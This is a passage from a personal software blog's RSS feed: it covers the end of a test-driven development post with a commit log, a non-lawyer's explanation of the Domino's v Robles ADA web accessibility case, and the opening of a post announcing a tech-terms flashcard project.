&lt;p&gt;Carpenters build tools to make their job easier all the time. We are coders - we specialize in creating tools. We can and should be writing code that makes it easier for us to write code!&lt;/p&gt;

&lt;p&gt;As we churn through scenario after scenario, we find more opportunity to refactor our tests. For example we introduce an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elapses&lt;/code&gt; function to replace a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;describe&lt;/code&gt; block which simply advances the timer.&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/e7934b00571c397f1c96c009a82cf5e7.js&quot;&gt; &lt;/script&gt;

&lt;p&gt;This takes practice of course. You want to use a light touch and not go nuts with refactoring tests. You still want it to be simple for someone new to be able to trace the logic without difficulty and to be able to read the specification as documentation. Remember, the goal is always to &lt;a href=&quot;https://www.youtube.com/watch?v=34_L7t7fD_U&quot;&gt;keep things as simple as it makes sense for them to be&lt;/a&gt;. The fact that it makes tests easier to write is more of a pleasant bonus than an end goal. But it’s a really pleasant bonus.&lt;/p&gt;

&lt;h2 id=&quot;finish-and-fiddle&quot;&gt;Finish and fiddle&lt;/h2&gt;

&lt;p&gt;As the test mini-library you’ve created starts falling into place, it soon becomes much easier to implement subsequent parts of the story and your red-green loop really starts to fly.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;8537e614da9da830e873c855194b3103a93df6b8 12:11 ticking passing elapses refactored
d6e2c889de9b930c329230d07ec9a1ad86042f5c 12:16 lap no passing
7faefff96cb3c52bfad9cbfbaa04339490d16446 12:17 lap passing
d01457780a6505fe59a41b56e8d9488a70198c7f 12:23 laps implemented and passing
7e88164c5bf24fbf9440eeb50f6527133551ad9a 12:25 lap reset not passing
dc8bd60b050951452bf0b6223a9f2f3b8e5e55ef 12:27 lap reset passing
428d9129704c637f3d94497b283c71a5610e4877 12:30 reset not passing
e1e3ba32f949979697ca730068db819084bf5e3f 12:31 reset passing
366622a6acd0bfd7c824e690e4f76e11acf9095f 12:32 stop not passing
43a8dd971f728b9a98a7084e4bc5960d9c93c624 12:35 basic stop passing
fa1f4951fba1d40163d8ec7e5d8702bc5e7a2aba 12:36 actually pause timer not passing
635a6d4108720bead8b81364ab3460c666b63c88 12:37 timer actually stopped passing
e3b17d29809850903bf00f4a0aeb633410912386 12:38 clock dependencies refactored to be injected
b00619e4fb07bda021c2a1b2c3d9971e276531e6 12:39 resume paused timer not passing
109a3db831da5602b7b10b24e032e034dbdc9541 12:42 post pause resume passing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I told you - 30 minutes! And before long you’ve TDDed up a whole feature.&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/e83139f592a302e24cc7f0bc5ab6a3c7.js&quot;&gt; &lt;/script&gt;

&lt;p&gt;Now we are ready to do some hardcore refactoring. This is a good time for moving things to their own dedicated files and breaking out utility methods.&lt;/p&gt;

&lt;p&gt;It is also a good time to revisit the structures we’ve created - should we use cascading &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setTimeout&lt;/code&gt; versus &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setInterval&lt;/code&gt;? Is tracking state by manually queueing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nextToggle&lt;/code&gt; function something we want to do? Is it a terrible idea to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;displays&lt;/code&gt; object as the cannonical time for internal calculations?&lt;/p&gt;

&lt;p&gt;All good questions and all are implementation details that we can modify without affecting our tests at all. And that’s the true determinator of our success here, is it not?&lt;/p&gt;

&lt;p&gt;One of the biggest pain points about TDD I tend to see is when test &lt;em&gt;maintanance&lt;/em&gt; is taking significant chunks of time. By focusing on the user’s workflows and by taking a hard line to refactoring the testing code itself, we can make it so not only are tests a tool for understanding ambiguous requirements, but that they support our goals, without needing significant refactoring time &lt;em&gt;even when the underlying implementation changes significantly&lt;/em&gt;. After all, even if our method of tracking time changes, the user’s needs - and therefore our scenarios - should not.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;Ok, despite the tone in the above, I’m not really trying to preach the TDD gospel (too hard). This sort of setup, where you use tests in a BDD-style to attack ambiguous requirements is what has worked well for me. I have also had no shortage of situations where I’ve gotten neck deep in a problem thinking I could just “knock it out” and before long was wishing I &lt;em&gt;had&lt;/em&gt; taken the time to write tests from the beginning. This is not because tests are any sort of panacea, but because it would ultimately have saved me time.&lt;/p&gt;

&lt;p&gt;This is worthwhile to highlight. Test driven development - when done right - will save you time. It will not do this by helping you squash known bugs (after all, test-after will do that just as well), but by helping you understand requirements to such a degree that you should be avoiding many unforseen bugs to begin with.&lt;/p&gt;

&lt;p&gt;Additionally TDD should save you time &lt;em&gt;down the line&lt;/em&gt; as well. With a properly selected “unit”, future refactoring should require minimal changes to test. Conversely, the need to modify tests for anything less than core business requirement changes is in itself a code smell implying suboptimal design.&lt;/p&gt;

&lt;p&gt;Finally, I should emphasize that none of this is easy. You’re not going to read one article and saunter into work the next day a testing hero. This all does take practice, and you should do that - real, dedicated practice. Implement the scenarios here as a kata to start with, but then find more problems! Practice. Practice, practice, practice. Get testing, and get to actually understanding the things that you are trying to build!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Understanding Domino&apos;s v Robles</title>
      <link>http://georgemauer.net/2019/11/04/dominos-v-robles.html</link>
      <pubDate>Mon, 04 Nov 2019 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2019/11/04/dominos-v-robles.html</guid>
      <description>&lt;style&gt;
  .posts .understanding-domino-s-v-robles img, 
  .entry img,
  .entry figure {
    margin: 20px;
    display: flex;
    justify-content: center;
  }
  .entry figure img {
    margin: 0;
  }
  .entry .not-a-lawyer {
    position: absolute;
    opacity: 0.09;
    transform: rotate(-24deg) translate(-7em, 9em);
    font-family: monospace;
    pointer-events: none;
    width: 100%;
  }
&lt;/style&gt;

&lt;p&gt;This is about the web accessibility-related Domino’s v Robles court case in the US court system. If you don’t care to read through a big long article and want to &lt;a href=&quot;#conclusion&quot;&gt;skip to the end, head on to the conclusion&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I found myself &lt;a href=&quot;https://twitter.com/togakangaroo/status/1183842162947039232?s=20&quot;&gt;with some time on my hands&lt;/a&gt; earlier this month and thought that it might be nice to dive into a high profile and controversial current events in tech issue as - in my experience - the facts rarely match the hype. Letting the ravings of friends and acquaintances guide me, I picked up the &lt;em&gt;Domino’s Pizza LLC v Robles&lt;/em&gt; case to see if I could make heads or tails of what actually went down. What follows is a writeup of &lt;a href=&quot;https://docs.google.com/presentation/d/19DjTcnDmYbToa4x_xaOZ7HRUM-ZF1Ol8LYstdSyfTrQ/edit#slide=id.g65459e8168_0_92&quot;&gt;a talk I gave on the subject&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now before I go much further, I should clarify that I am definitely and 100% &lt;strong&gt;NOT A LAWYER&lt;/strong&gt;. I am sure that I got at least some of the following wrong and I stand to be corrected.&lt;/p&gt;

&lt;p&gt;I can read ok though, and went through and read the various opinions issued and some of the more in-depth articles on what went on. I also ran my understanding past a friend who &lt;em&gt;is&lt;/em&gt; a very good lawyer, so I believe that I’m on as firm ground as a non-lawyer can reasonably be.&lt;/p&gt;

&lt;p&gt;I am also not someone who particularly specializes in web accessibility. It is important and I know the basics, but I do not claim to be an expert. I quite possibly misspell the word accessibility as well.&lt;/p&gt;

&lt;p&gt;Finally, I’ll note that in the following narrative I occasionally reference but omit a lot of discussion of previous case law and finer points of order. This article is long enough and if you’re interested in diving down to that level just &lt;a href=&quot;https://www.scotusblog.com/wp-content/uploads/2019/07/18-1539-opinion-below.pdf&quot;&gt;read the opinion itself&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;the-story&quot;&gt;The Story&lt;/h1&gt;

&lt;p&gt;So before we get too far into it, what are the basics of the story here?&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.latimes.com/politics/story/2019-10-07/blind-person-dominos-ada-supreme-court-disabled&quot;&gt;
  &lt;img style=&quot;float: left;&quot; src=&quot;/img/dominos-v-robles/la-times-headline.jpg&quot; alt=&quot;LA Times Headline - Supreme Court allows blind people to sue retailers if their websites are not accessible&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is this: Domino’s Pizza lost a court case having to do with the accessibility of their website and mobile app.&lt;/p&gt;

&lt;p&gt;The details of this were of course poorly reported and even worse understood. In fact, judging by the reaction of many, you’d think this decision was the end of the world.&lt;/p&gt;

&lt;p&gt;Honestly, I can sympathize. &lt;strong&gt;Being sued is scary, accessibility is ambiguous, and accessibility compliance is not even a binary yes or no thing.&lt;/strong&gt; What do they even expect from us!?&lt;/p&gt;

&lt;p&gt;And then of course there is the economic argument. How many small businesses might go out of business because they cannot afford the extra cost?! The degree to which you are concerned with that will probably depend on your political inclinations, but surely everyone would agree that we want to keep the amount of red tape that small businesses trying to bootstrap themselves deal with to an absolute minimum.&lt;/p&gt;

&lt;p&gt;And then there’s the other side of the coin. Fire off the 21-gun-salute, it is the dawning of the Accessibility Age of Aquarius! The good guys have won and everything will be great forever!&lt;/p&gt;

&lt;p&gt;Neither of those is exactly true, and telling the wrong story both spreads FUD (Fear Uncertainty and Doubt) and sets people up for disappointment.&lt;/p&gt;

&lt;p&gt;But first, let’s review…&lt;/p&gt;

&lt;h1 id=&quot;the-timeline&quot;&gt;The Timeline&lt;/h1&gt;

&lt;p&gt;So let’s review the basic timeline&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;September 2016 - Guillermo Robles &lt;strong&gt;files&lt;/strong&gt; Robles v. Domino’s Pizza LLC in the &lt;em&gt;Central Distrinct of California&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;March 2017 - &lt;a href=&quot;https://fashionapparellawblog.lexblogplatformthree.com/wp-content/uploads/sites/194/2017/03/2017-03-20-Docket-42-Order-Granting-Defendant-Domino_s-Pizza_s-Motion-to....pdf&quot;&gt;case is &lt;strong&gt;dismissed&lt;/strong&gt; without prejudice&lt;/a&gt; by the district&lt;/li&gt;
  &lt;li&gt;October 2018 - &lt;strong&gt;appeal of the dismissal&lt;/strong&gt; &lt;a href=&quot;https://www.ca9.uscourts.gov/media/view_video.php?pk_vid=0000014434&quot;&gt;is argued in front of the 9th Circuit Court of Appeals&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;January 2019 - &lt;a href=&quot;https://www.scotusblog.com/wp-content/uploads/2019/07/18-1539-opinion-below.pdf&quot;&gt;&lt;strong&gt;dismissal is overruled&lt;/strong&gt;&lt;/a&gt; by the 9th Circuit&lt;/li&gt;
  &lt;li&gt;March 2019 - &lt;strong&gt;appeal&lt;/strong&gt; of the 9th Circuit decision is filed with the Supreme Court&lt;/li&gt;
  &lt;li&gt;October 2019 - &lt;a href=&quot;https://www.scotusblog.com/case-files/cases/dominos-pizza-llc-v-robles/&quot;&gt;&lt;strong&gt;Supreme Court declines to review&lt;/strong&gt; the decision&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you are unaware of how dismissal works; essentially a judge may be asked to block a case for a variety of reasons. If granted, the case stops right there and then. For the most part, a motion to dismiss being granted means that the court agrees that some point of law clearly renders the plantiff’s argument moot (and typically that the plantiff has not addressed this).&lt;/p&gt;

&lt;p&gt;If you are unaware of how appeals work; there is a hierarchy of federal courts. If you lose, you can petition an upper court of appeals to review the decision and they are free to take it up or turn down your appeal.&lt;/p&gt;

&lt;p&gt;So note that what happened here did not include a ruling over Domino’s website.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Instead, the district court granted a motion to dismiss, meaning they did not hear the case and rule on it.&lt;/li&gt;
  &lt;li&gt;The 9th Circuit court overruled the dismissal, saying that yes, you &lt;em&gt;do&lt;/em&gt; have to hear the case.&lt;/li&gt;
  &lt;li&gt;The Supreme Court refused to review the 9th Circuit’s decision, in effect agreeing that yes, the case can continue.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Again, I want to emphasize that there was no actual decision on anything other than that a specific lawsuit can continue and be argued. Keep that in mind as we walk through this stuff.&lt;/p&gt;

&lt;figure&gt;
  &lt;img src=&quot;/img/dominos-v-robles/headlines.png&quot; alt=&quot;So many headlines that are mostly wrong.&quot; /&gt;
&lt;/figure&gt;

&lt;p&gt;So this past October, there was a wide level of outcry and confusion about this decision. Everything from legitimate business concerns to wild-eyed conspiracies.&lt;/p&gt;

&lt;p&gt;Most of it was fairly uninformed over what exactly was ruled.&lt;/p&gt;

&lt;p&gt;So just from the timeline we can already say a few things.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;No major new law or ruling has been issued.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Domino’s didn’t actually argue a lawsuit about what was required for accessibility.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So most of these headlines are at least wrong on some level.&lt;/p&gt;

&lt;h1 id=&quot;the-9th-circuits-opinion&quot;&gt;The 9th Circuit’s Opinion&lt;/h1&gt;

&lt;p&gt;So now let’s look at the 9th Circuit’s actual decision and the opinion they issued. I will say that you don’t have to read my recitation, &lt;a href=&quot;https://www.scotusblog.com/wp-content/uploads/2019/07/18-1539-opinion-below.pdf&quot;&gt;you can go through this stuff yourself&lt;/a&gt;. It is quite readable and discussion starts on page 10.&lt;/p&gt;

&lt;p&gt;In reviewing the lower court’s decision, they broke it down into three questions to be addressed.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Does the ADA Title III apply to Domino’s website and mobile app?&lt;/li&gt;
  &lt;li&gt;Does applying Title III here violate Domino’s right to &lt;em&gt;due process&lt;/em&gt;?&lt;/li&gt;
  &lt;li&gt;Should the court invoke the &lt;em&gt;Primary Jurisdiction Doctrine&lt;/em&gt; here?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We’ll dive into their reasoning on all three, but first, some background.&lt;/p&gt;

&lt;h2 id=&quot;the-ada-and-title-iii&quot;&gt;The ADA and Title III&lt;/h2&gt;

&lt;svg class=&quot;not-a-lawyer&quot; viewBox=&quot;0 0 95 16&quot;&gt;&lt;text x=&quot;0&quot; y=&quot;12&quot;&gt;NOT A LAWYER&lt;/text&gt;&lt;/svg&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Americans_with_Disabilities_Act_of_1990&quot;&gt;The Americans with Disabilities Act&lt;/a&gt; passed by an overwhelming bipartisan majority in 1990 and went into effect in 1992.&lt;/p&gt;

&lt;p&gt;The purpose of the ADA is:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“To provide a clear and comprehensive national mandate for the elimination of discrimination against individuals with disabilities.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It is described as similar in scope and intent to the Civil Rights Act of 1964 and imposes obligations to accomodate people with disabilities on employers, public entities, and other organizations. Title III specifically brings them to bear on places of &lt;strong&gt;public accommodation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;What exactly is a place of &lt;a href=&quot;https://en.wikipedia.org/wiki/Public_accommodations_in_the_United_States&quot;&gt;public accommodation&lt;/a&gt;? It gets a bit complex but think restaurants, hotels, stores, schools, hospitals; but not private clubs or churches and you’ll be in the right ballpark.&lt;/p&gt;

&lt;p&gt;Fellow programmers and other armchair lawyers - I feel you - that sort of ambiguity sounds unacceptable! How would we even code that as a Python function?! However, the legal term has existed since at least 1964 and I have not seen anyone seriously arguing that they do not know if their organization is a place of public accommodation or not. I’m sure there’s some edge cases, but for the most part, no one seems terribly confused by this.&lt;/p&gt;

&lt;p&gt;So Title III specifically says that a public accommodation must:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“…take those steps that may be necessary to ensure that no individual with a disability is excluded, denied services, segregated or otherwise treated differently than other individuals because of the absence of auxiliary aids and services, unless the public accommodation can demonstrate that taking those steps would fundamentally alter the nature of the goods, services, facilities, privileges, advantages, or accommodations being offered or would result in an undue burden”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In other words, you have to &lt;em&gt;legitimately try&lt;/em&gt; to accommodate disabled people in such a way so that they can use your services to get the same benefits and in the same manner as anyone else.&lt;/p&gt;

&lt;p&gt;It is worth mentioning that this is not the opinion of a court or regulation issued by a bureaucratic body. &lt;strong&gt;This is the actual law&lt;/strong&gt; and carries a significantly higher precedence. In general courts have tried to be fair about applying things but yes, &lt;strong&gt;it is now and has been legal since 1992 to sue over violations.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So now let’s get back to the meat of the case at hand.&lt;/p&gt;

&lt;figure style=&quot;float: left; border: 1px solid #666;&quot;&gt;
  &lt;img src=&quot;/img/dominos-v-robles/ada.jpg&quot; alt=&quot;ADA bill of 1990 page 1&quot; /&gt;
&lt;/figure&gt;

&lt;h2 id=&quot;does-the-ada-apply-to-websites&quot;&gt;Does the ADA Apply to Websites?&lt;/h2&gt;

&lt;p&gt;Domino’s argues that no, the ADA does not apply to their or any website. See the language of the ADA - which passed in the same year as the Web was born - is largely over physical locations and there are indeed a smattering of rulings that may support this.&lt;/p&gt;

&lt;p&gt;The court here points out that the issue is over &lt;em&gt;services of a place&lt;/em&gt; not &lt;em&gt;services in a place&lt;/em&gt;. Does that sound like weird, pedantic minutiae? Sure. But it is not limited to this case as I’ve seen that exact phrasing referenced over and over. It seems more a cutesy manner of highlighting responsibilities than some sort of verbal gymnastics to get the law to fit. What the court does in practice is administer what they refer to as a &lt;em&gt;Nexus Test&lt;/em&gt; - basically is there some resonable connection between services of a physical place of public accomodation and those offerred online?&lt;/p&gt;

&lt;p&gt;Now granted - there can be some ambiguity here. Just not in this case. The court points out that in this case, things are completely unambiguous. Not only does the Domino’s website offer services such as their Pizza Tracker, but it is heavily advertised as the main way offered by Domino’s to find a location near you. This alone creates a clear and unambiguous nexus between their physical and online services.&lt;/p&gt;

&lt;p&gt;Additionally, the court points out that yes indeed, the Department of Justice and the courts have held over and over since the mid-90s that the ADA can apply to websites. There have been plenty of similar lawsuits and ink spilled on who has and who doesn’t have to be compliant. None of this should come as a surprise to anyone.&lt;/p&gt;

&lt;p&gt;And on a personal note - &lt;a href=&quot;https://www.ca9.uscourts.gov/media/view_video.php?pk_vid=0000014434&quot;&gt;watching the actual arguments in front of the 9th circuit&lt;/a&gt; it seems to me that even the &lt;em&gt;Domino’s lawyer&lt;/em&gt; is unclear on what argument they’re making here. It is even pointed out by a judge that they seem to have previously conceded the point that yes, websites can be public accommodations and therefore the law applies.&lt;/p&gt;

&lt;p&gt;The court therefore concludes that on this point they have no reason and questionable ability to overturn decades of precedent. Yes, Title III has always and currently continues to apply to many websites in general and very much to the Domino’s website in particular.&lt;/p&gt;

&lt;h2 id=&quot;this-lawsuit-is-a-violation-of-dominos-due-process&quot;&gt;This Lawsuit is a Violation of Domino’s Due Process&lt;/h2&gt;

&lt;p&gt;This is the main thread of Domino’s argument and is the one the lower court’s ruling was primarily based upon.&lt;/p&gt;

&lt;p&gt;To start with, &lt;strong&gt;due process&lt;/strong&gt; is the idea that - among other things - the court and judges should try to structure things so as to comply with basic fairness as accorded by the law. Yes, unfair outcomes happen all the time, but courts will at least attempt to apply the basic process of the law evenly and judiciously.&lt;/p&gt;

&lt;p&gt;And as far as basic fairness goes, Domino’s seems to have a point. Yes, ignorance is no excuse when going 35mph in a 50, but there are after all hundreds of thousands of laws and regulations that a business might have to abide by. Courts therefore tend to be flexible here and give businesses the benefit of the doubt.&lt;/p&gt;

&lt;p&gt;Unfortunately, as noted above, the court states that this is not a matter where Domino’s can reasonably claim ignorance as this has been a well known ruling by the DOJ as early as 1996, and confirmed in multiple court cases. It is far from a niche issue, as Domino’s own arguments make clear and either way, this isn’t really the case that they’re making.&lt;/p&gt;

&lt;p&gt;Instead, their argument is twofold.&lt;/p&gt;

&lt;h3 id=&quot;the-no-guidelines-argument&quot;&gt;The No Guidelines Argument&lt;/h3&gt;

&lt;p&gt;The Department of Justice - Domino’s argues - has not issued guidelines on what exactly constitutes an accessible website in the eyes of the law. As this is the case, Domino’s cannot possibly try to comply as they do not know what they are supposed to be complying with.&lt;/p&gt;

&lt;p&gt;This is the main thrust of Domino’s entire argument and one we can all be sympathetic to. &lt;em&gt;You tell me that I can get in trouble but not how to avoid it? What nonsense is this?!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;However, the court points out that this is how the law already works in a myriad of cited instances. The law in this case creates a set of obligations, it does not specify how specifically they are to be met. An agency such as the DOJ might choose to issue further guidance, but it is in no way a necessity. In fact, they might purposefully choose to stay silent on a matter (as seems to be the case here) to provide businesses with a maximum degree of flexibility to decide how the law can apply to their specific situation.&lt;/p&gt;

&lt;p&gt;In fact, the corollary here would be absurd. If lack of agency guidance was enough to exempt someone from legal obligations, then a law enacted by Congress could effectively be voided simply by an agency refusing to issue any. Worse, you could assert a right to ignore the law simply by claiming any available guidance was not issued by the correct agency or not specific enough to your given situation!&lt;/p&gt;

&lt;p&gt;This is simply not how the law works.&lt;/p&gt;

&lt;h3 id=&quot;the-imposing-wcag-20-violates-due-process-argument&quot;&gt;The Imposing-WCAG 2.0 Violates Due Process Argument&lt;/h3&gt;

&lt;p&gt;Domino’s argues further that the assertion in the lawsuit that they should follow the WCAG 2.0 (Web Content Accessibilty Guidelines) is a violation of their due process. The WCAG are issued by the W3C (Word Wide Web Consortium) which is an open but private organization and these guidelines have no standing in the law. The court is sympathetic here but points out that this is based on a misreading of the original complaint. The lawsuit doesn’t say they have to follow WCAG, that is not something a lawsuit &lt;em&gt;can&lt;/em&gt; legally assert. Instead it says that Domino’s is violating rights granted to Robles by not living up to their obligations under the ADA. It further suggests that the court might order compliance with WCAG, but - the 9th points out - this is not the issue at stake at all but a potential remediation to be hashed out during the actual suit. It certainly cannot form a basis for dismissing the case outright.&lt;/p&gt;

&lt;p&gt;Look - the court is arguing - the way the law works is that you have these obligations under the ADA. It is left up to you how to fulfill them but someone can certainly sue you for not doing so properly. You can then make the case that yes indeed, you &lt;em&gt;were&lt;/em&gt; complying with the law and win the lawsuit. You can point to your compliance to WCAG, another standard, or just specific accommodations that you have made, but you actually have to make that argument!&lt;/p&gt;

&lt;p&gt;You can even argue that the lawsuit be dismissed because your compliance is so obvious that the suit lacks any merit at all. However, this is not what Domino’s is saying here. They are claiming that no official standard exists for them to follow and therefore no lawsuit is possible as their obligations are ambiguous. This the court is having none of - no, they say, your obligations are &lt;em&gt;flexible&lt;/em&gt; but not ambiguous. To rule in agreement would fly in the face of a great deal of case law that determines the exact opposite. So while yes, Domino’s can reasonably argue that their website is already accessible, they cannot argue that the issue of accessibility itself does not apply - and &lt;em&gt;that&lt;/em&gt; is what their motion do dismiss is all about.&lt;/p&gt;

&lt;h2 id=&quot;primary-jurisdiction-doctrine&quot;&gt;Primary Jurisdiction Doctrine&lt;/h2&gt;

&lt;p&gt;&lt;img style=&quot;float: right;&quot; src=&quot;/img/dominos-v-robles/doj.png&quot; alt=&quot;Department of Justice Logo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The final thrust of the argument is that the court should defer to accessibility and legal experts employed by the Department of Justice to render guidelines or a decision that will either clarify the points at issue in this case or even render it moot. This is referred to as the &lt;em&gt;Primary Jursidication Doctrine&lt;/em&gt;, is occasionally applied by courts in similar cases, and was cited in the lower court’s decision to dismiss the lawsuit without prejudice (meaning a similar suit can be refiled at a later date).&lt;/p&gt;

&lt;p&gt;The 9th Circuit points out here that nothing actually &lt;em&gt;obligates&lt;/em&gt; the court to apply this doctrine and that either way the intent is as a short-term delay while a government agency provides clarity. While this might have been a reasonable position when the district court issued its ruling, the ground had since shifted. You see, in July 2010, the DOJ had issued an ANPRM (Advanced Notice of Proposed Rule Making) stating that they were indeed exploring how they might issue web accessibility guidelines. This project lingered on with little to show for it but nevertheless, when the district court ruled on this in March 2017, the ANPRM was still active and it was possible, if not realistic, to believe that rules clarifying web accessibility standards would be forthcoming. On December 2017 however, the DOJ withdrew the ANPRM, effectively saying that they are no longer working on such guidelines.&lt;/p&gt;

&lt;p&gt;The appeals court reasons that, as any further guidance from the DOJ will certainly &lt;em&gt;not&lt;/em&gt; be forthcoming, the original logic that deferred primary jurisdiction certainly does not apply. In any case - as the DOJ clearly does believe that websites &lt;em&gt;should&lt;/em&gt; be held to accessibility standards - it is possible to imagine guidance that might affect a judgment of wither a website is accessible, but difficult to imagine any that would affect the outcome of a motion to dismiss.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;svg class=&quot;not-a-lawyer&quot; viewBox=&quot;0 0 95 16&quot;&gt;&lt;text x=&quot;0&quot; y=&quot;12&quot;&gt;NOT A LAWYER&lt;/text&gt;&lt;/svg&gt;

&lt;p&gt;The above is the logic the 9th Circuit court of appeals used to overrule the district court’s motion to dismiss and honestly…it’s pretty solid.&lt;/p&gt;

&lt;p&gt;To reiterate what happened:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;This particular ruling was not about what is and isn’t accessible on the web. It was simply about whether the lawsuit filed by Guillermo Robles against Domino’s Pizza LLC may proceed rather than being dismissed out of hand.&lt;/li&gt;
  &lt;li&gt;No law or interpretation of the law therefore changed. Everything is the same as it was since at least 1996 and people continue to be able to sue certain websites for lack of ADA compliance. The only difference is that for a twenty two month period, the district court opinion was available to be cited in some motions to dismiss and it now no longer is.&lt;/li&gt;
  &lt;li&gt;The court can only rule on what was argued and Domino’s did not argue that their website is accessible or that a certain standard be or not be adopted, instead they argued that lack of guidance from the DOJ specific to their situation meant they didn’t have to follow the law, and the court - while sympathetic to the awkward lack of guidance - pointed out that this is not something unique to the web and either way is simply not how the law works.&lt;/li&gt;
  &lt;li&gt;Domino’s did not lose a lawsuit, they simply have to actually argue the lawsuit. This lawsuit is no different than hundreds of others that have been filed over the years. These lawsuits can also still be dismissed, they simply cannot be dismissed automatically. The Americans with Disabilities Act applies.&lt;/li&gt;
  &lt;li&gt;The Supreme Court did not rule on anything. They simply declined to take up further appeals indicating that they find no flaw in the 9th Circuit court’s logic.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What happens now? Well…Domino’s has to actually defend themselves in the lawsuit or settle. Personally (and I can’t say this enough, I am not a lawyer) - unless something really incriminating emerges in discovery - it doesn’t seem to me like Guillermo Robles’ case is all that strong. He might well lose the suit, but he does get his chance to argue it, and there is nothing here so obvious or in violation of Domino’s rights as for the suit to be dismissed out of hand.&lt;/p&gt;

&lt;p&gt;And what about what you - the web developer or product owner? What should you do with respect to web accessibility to eliminate the possibility of being sued?&lt;/p&gt;

&lt;p&gt;Well we don’t concretely know. But we can say the following will improve your chances:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;If your site provides a service to the public you should have accessibilty in mind.&lt;/li&gt;
  &lt;li&gt;If the services offerred on your site tie in with a physical &lt;em&gt;place of public accommodation&lt;/em&gt; then you certainly should consider accessibility as you have obligations under the ADA. If in doubt, ask a lawyer.&lt;/li&gt;
  &lt;li&gt;How exactly you fulfill your obligations is up to you, but you do want to be able to make an argument over how you are accommodating people with disabilities. So long as you are making a legitimate attempt here, the courts are likely to be lenient.&lt;/li&gt;
  &lt;li&gt;When in doubt, &lt;a href=&quot;https://www.w3.org/WAI/standards-guidelines/wcag/&quot;&gt;consider WCAG 2.0&lt;/a&gt;. There are lots of different levels of compliance and tips and tricks to choose from and no one is expecting businesses to be 100% with this stuff. This might also be a factor if your company is ever bought as evaluating your exposure to a potential ADA lawsuit is one of the factors taken into account in conducting due diligence.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also, consult a lawyer. I don’t know if I’ve mentioned it, but I am not one.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Announcing Tech Terms for Memorization</title>
      <link>http://georgemauer.net/2018/09/23/announcing-tech-terms-for-memorization.html</link>
      <pubDate>Sun, 23 Sep 2018 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2018/09/23/announcing-tech-terms-for-memorization.html</guid>
      <description>&lt;p&gt;TLDR; I created a project to help students in software development via memorization techniques.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/togakangaroo/tech-terms&quot;&gt;Project here&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/togakangaroo/tech-terms/blob/master/terms.org&quot;&gt;List of terms here&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ankiweb.net/shared/info/40916824&quot;&gt;Flashcards here&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Read on for background!&lt;/p&gt;

&lt;p&gt;My academic career is that of an all right student. Perennially in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A-&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B-&lt;/code&gt; range, good at understanding concepts, and able to cram just hard enough to do fine on tests. I never understood the point of doing much more. I always regarded “deep understanding” and rote memorization to be wholly independent of each other with the latter being helpful for tests and little else. Many people parrot back facts without any understanding whatsoever, merely impersonating intelligence without the ability to synthesize anything new. At the same time, you can really understand things while having a shit memory; the internet exists, we can always look things up.&lt;/p&gt;

&lt;p&gt;During the past year, my opinion on this has been evolving.&lt;/p&gt;

&lt;!--break--&gt;

